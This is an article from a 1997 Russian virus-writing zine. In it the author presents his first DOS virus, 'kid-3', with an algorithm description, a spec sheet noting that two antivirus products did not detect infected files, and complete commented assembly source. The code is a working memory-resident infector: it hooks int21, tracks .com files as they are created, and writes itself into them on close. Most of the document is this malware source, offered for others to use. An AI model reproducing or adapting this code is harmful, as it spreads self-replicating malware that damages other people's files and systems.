[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 3, Sep 1997                                           file 006


                               МОЙ ПЕРВЫЙ ВИРУС
                                                        by FRiZER

     Представляю вашему вниманию мой вирус. Никаких новых идей в нем нет, в то
же  время  не содран с каких-либо вирусов других авторов - как сам представлял
это, так и писАл.
     Откомментированный  исходник  прилагается, но все же позволю себе краткое
описание алгоритма.

- Инсталяция в память
     Переписываемся по адресу 0:200 (в область таблицы векторов прерываний)

- Восстановление программы в памяти
     Из  памяти  по  адресу  FL+100h (размер незараженного файла) переписываем
бывшее начало размером с вирус на его законное место (:0100)

- Installation check
     Проверяем  слово  по  адресу 0:300 - если там нули - значит либо мы уже в
памяти (см.ниже) либо вектор int21 показывал на 0000:0000 :)))

- Перехват int21
     Вектор int21 переписываем в 0:300 (0000:02FF JMP FAR xxxx:xxxx) Ну а свой
в 0:84

- Выбор жертвы
     При  создании  файла  (AH=3C,6C или 5B int21) ищем в ds:dx(для 3C&5B) или
ds:si(для  6C)  строку  '.com',0  Если  находим,  то  разрешаем создать файл и
запоминаем handle
// вначале было только AH=3C но при копировании файлы не заражались
// потом увидел, что использовалась AH=6C (Extended Create/Open)
//потом оказалось, что в NC и VC используется AH=5B

- Заражение
     При  закрытии  файла  (AH=3E  int21)  мы  сравниваем закрываемый handle с
запомненным, и если совпадает заражаем файл:
  - lseek на начало
  - считали кусок файла
  - проверка на уже зараженность (сравнение первых 2-х байт файла
    с первыми 2-мя байтами вируса) и MZ (не exe ли это файл?)
  - lseek на конец
  - записали кусок файла
  - lseek на начало
  - записали вирус

  Отдаем управление дальше - т.е. файл закрывается как ни в чем ни бывало ;)

     Bирус никак не проявляет себя, содержит строчку [kid-3]

PS: если найдете глюки - сообщайте, хотя дальше делать что-либо с этим
    вирусом я не собираюсь.
PSS: все ощыбки приминайте на очепятки ;)

=== Cut ===
┌─[BeginVirDsc]──────────────────────────────────────────────────────────────┐
■ Name           : kid-3                                                     │
■ Maker          : FRiZER                                                    │
■ Made at        : 30-09-97                                                  │
■ Size           : 100h(256)                                                 │
■ Targets        : COM                                                       │
■ Infecting when : '3C' & '6C' & '5B' if was '3E' (ds:(dx|si)='... .com',0)  │
■ Antivirus test :                                                           │
│ Infected files :                                                           │
│ - AVP v3.0 114 : not found                                                 │
│ - Dr.Web v3.24 : not found                                                 │
│ Memory         :                                                           │
│ - AVP v3.0 114 : предупреждение по адресу 0000:023B                        │
│ - Dr.Web v3.24 : В памяти компьютера (0000:023B) возможно нахождение       │
│                  РЕЗИДЕНТНОГО ВИРУСА!                                      │
■ Test under '95 : passed                                                    │
■ Effects        : none                                                      │
■ Possible Bugs  : Something may use 80h>int>0C3h                            │
│                  Needs this registers at start: si=0100, cx=00FF, ax=0000. │
■ All comments and remarks are welcome!                                      │
■ How to find me : FIDO 2:5040/57.27, e-mail: [email protected]           │
└─[EndVirDsc]────────────────────────────────────────────────────────────────┘

.model tiny
.code
.386p
VL equ virend-start
org 100h
Start:
push cs                         ;────────────────────┐
push si                         ;>[0100]>────────────┤
pusha                           ;>───────────────────┼────────────────────┐
push si                         ;>[0100]>──────────┐ │                    │
inc cx                          ;                  │ │                    │
push cx                         ;>[0100]>─────────┐│ │                    │
push ax                         ;>[0000]>────────┐││ │                    │
mov di,si                       ;di=100          │││ │                    │
shl di,1                        ;di=200          │││ │                    │
push ax                         ;>[0000]>────┐   │││ │                    │
pop es                          ;<───────────┘   │││ │                    │
rep movsb               ;задвигаем вирь в 0:200h │││ │                    │
;si=200 di=300                                   │││ │                    │
xchg di,bx                      ;>───────────────┼┼┼─┼────────────┐       │
push offset a10+100h            ;>[offset a10]>──┤││ │            │       │
retf                            ;<───────────────┘││ │            │       │
a10:                            ;                 ││ │            │       │
push ss                         ;                 ││ │            │       │
pop es                          ;                 ││ │            │       │
pop cx                          ;<────────────────┘│ │            │       │
pop di                          ;<─────────────────┘ │            │       │
mov si,FLx             ;берем из стартового сегмента │            │       │
add si,di                       ;si=si+100h          │            │       │
rep movsb          ;восстанавливаем файл в памяти    │            │       │
cmp word ptr cs:[300h],0000h    ;                    │            │       │
jnz exi                         ;                    │            │       │
;перехват int21                 ;                    │            │       │
push cs cs                      ;                    │            │       │
pop ds es                       ;                    │            │       │
xchg di,bx ;di=300              ;<───────────────────┼────────────┘       │
mov si,84h                      ;int21 = 84h         │                    │
push si                         ;>[0084]>──────┐     │                    │
movsw                     ;пишем вектор int21  │     │                    │
movsw                     ;по адресу 0:300     │     │                    │
pop di                          ;<─────────────┘     │                    │
mov ax,offset new21+100h        ;                    │                    │
stosw                           ;                    │                    │
xor ax,ax                       ;                    │                    │
stosw                           ;                    │                    │
exi:                            ;                    │                    │
popa                            ;<───────────────────┼────────────────────┘
push ss ss                      ;                    │
pop ds es                       ;                    │
retf                            ;<───────────────────┘

new21:
push ax
and ah,10101111b
cmp ah,2Ch
pop ax
jz save_bx
cmp ah,5Bh
jnz a20                         ;>─────────────────────┐
save_bx:                                               │
;попадаем суда если ah=                                │
;5B - create new file                                  │
;2C - get DOS time                                     │
;3C - create file                                      │
;6C - extended open/create (DOS 4+)                    │
;7C - nothing                                          │
pusha                           ;>───────────────────┐ │
push es                         ;>──────────────────┐│ │
push ds                         ;>──┐               ││ │
pop es                          ;<──┘               ││ │
cmp ah,6Ch                      ;                   ││ │
jnz _3C                         ;                   ││ │
push si                         ;                   ││ │
jmp _xC                         ;                   ││ │
_3C:                            ;                   ││ │
push dx                         ;                   ││ │
_xC:                            ;                   ││ │
pop di                          ;                   ││ │
mov cx,sp                       ;                   ││ │
mov al,'.'                      ;                   ││ │
repnz scasb                     ;ищем в es:di байт в al│
;-------------------------------+                   ││ │
xchg si,di                      ;                   ││ │
lodsw                           ; DS:SI -> AX       ││ │
and ax,0DFDFh                   ;                   ││ │
cmp ax,4F43h  ;'CO'             ;                   ││ │
jnz DontSave                    ;                   ││ │
lodsw                           ;                   ││ │
and ax,0DFDFh                   ;                   ││ │
cmp ax,004Dh  ;'M '             ;                   ││ │
jnz DontSave  ;  ^ - 00h        ;                   ││ │
;-------------------------------+                   ││ │
pop es                          ;                   ││ │
popa                            ;                   ││ │
call call21                     ;                   ││ │
jc er1                          ;                   ││ │
mov cs:handle+100h,al           ;                   ││ │
er1:                            ;                   ││ │
iret                            ;                   ││ │
DontSave:                       ;                   ││ │
pop es                          ;<──────────────────┘│ │
popa                            ;<───────────────────┘ │
jmp rreal21                     ;                      │
                                ;                      │
a20:                            ;<─────────────────────┘
cmp ah,3Eh                      ;
jne rreal21                     ;
pusha                           ;>──────────────┐
push ds                         ;>─────────────┐│
push cs                         ;>──┐          ││
pop ds                          ;<──┘          ││
cmp bl,handle+100h              ;              ││
jne already                     ;>─────────────┼┼───────┐
;пытаются закрыть файл, который создавали с именем .com │
mov al,0                        ;              ││       │
call lseek                      ;              ││       │
mov ah,3Fh                      ;              ││       │
mov dx,600h                     ;              ││       │
mov cx,0100h                    ;              ││       │
call call21                     ;              ││       │
xchg bx,dx                      ;              ││       │
cmp word ptr [bx],560Eh         ;уже заражен?  ││       │
je already                      ;>─────────────┼┼───────┤
cmp word ptr [bx],5A4Dh         ;а может exe?  ││       │
je already                      ;>─────────────┼┼───────┤
xchg bx,dx                      ;              ││       │
mov al,2                        ;              ││       │
call lseek                      ;              ││       │
;*mov ax,VL+2                   ;              ││       │
db 0B8h                         ;              ││       │
FLx dw VL+2 ;FLx - длина зараженного файла     ││       │
cmp ax,VL+1                     ;а может он короткий?   │
jb already                      ;>─────────────┼┼───────┤
mov ah,40h                      ;              ││       │
call call21                     ;              ││       │
mov ax,4000h                    ;              ││       │
call lseek                      ;              ││       │
mov dx,200h                     ;              ││       │
call call21                     ;              ││       │
mov handle+100h,0FFh            ;              ││       │
already:                        ;<─────────────┼┼───────┘
pop ds                          ;<─────────────┘│
popa                            ;<──────────────┘
rreal21:
jmp real21

lseek proc near
pusha
mov ah,42h
xor cx,cx
xor dx,dx
call call21
mov FLx+100h,ax
popa
ret
lseek endp

;FL dw VL+2
db 0,'[kid-3]',0
p1end:

;db 100h-((p1end-start)+(real21-call21+1)) dup ('+')
;эта строчка писалась, пока вирус был еще маленьким
;и нужно было чтобы его длинна все время была 256 байт

call21:
pushf
;*call far cs:[300h]
db 2Eh,0ffh,1Eh,00,03
ret
real21:
;*jmp far 0000:0000
db 0EAh
virend:
;имитация зараженной программы
int 20h ;<────────────────────────────────────────────────┐
jmp $+100h ;начало проги - выполняет переход на int 20h ──┘
handle db ?

        end     Start
=== Cut ===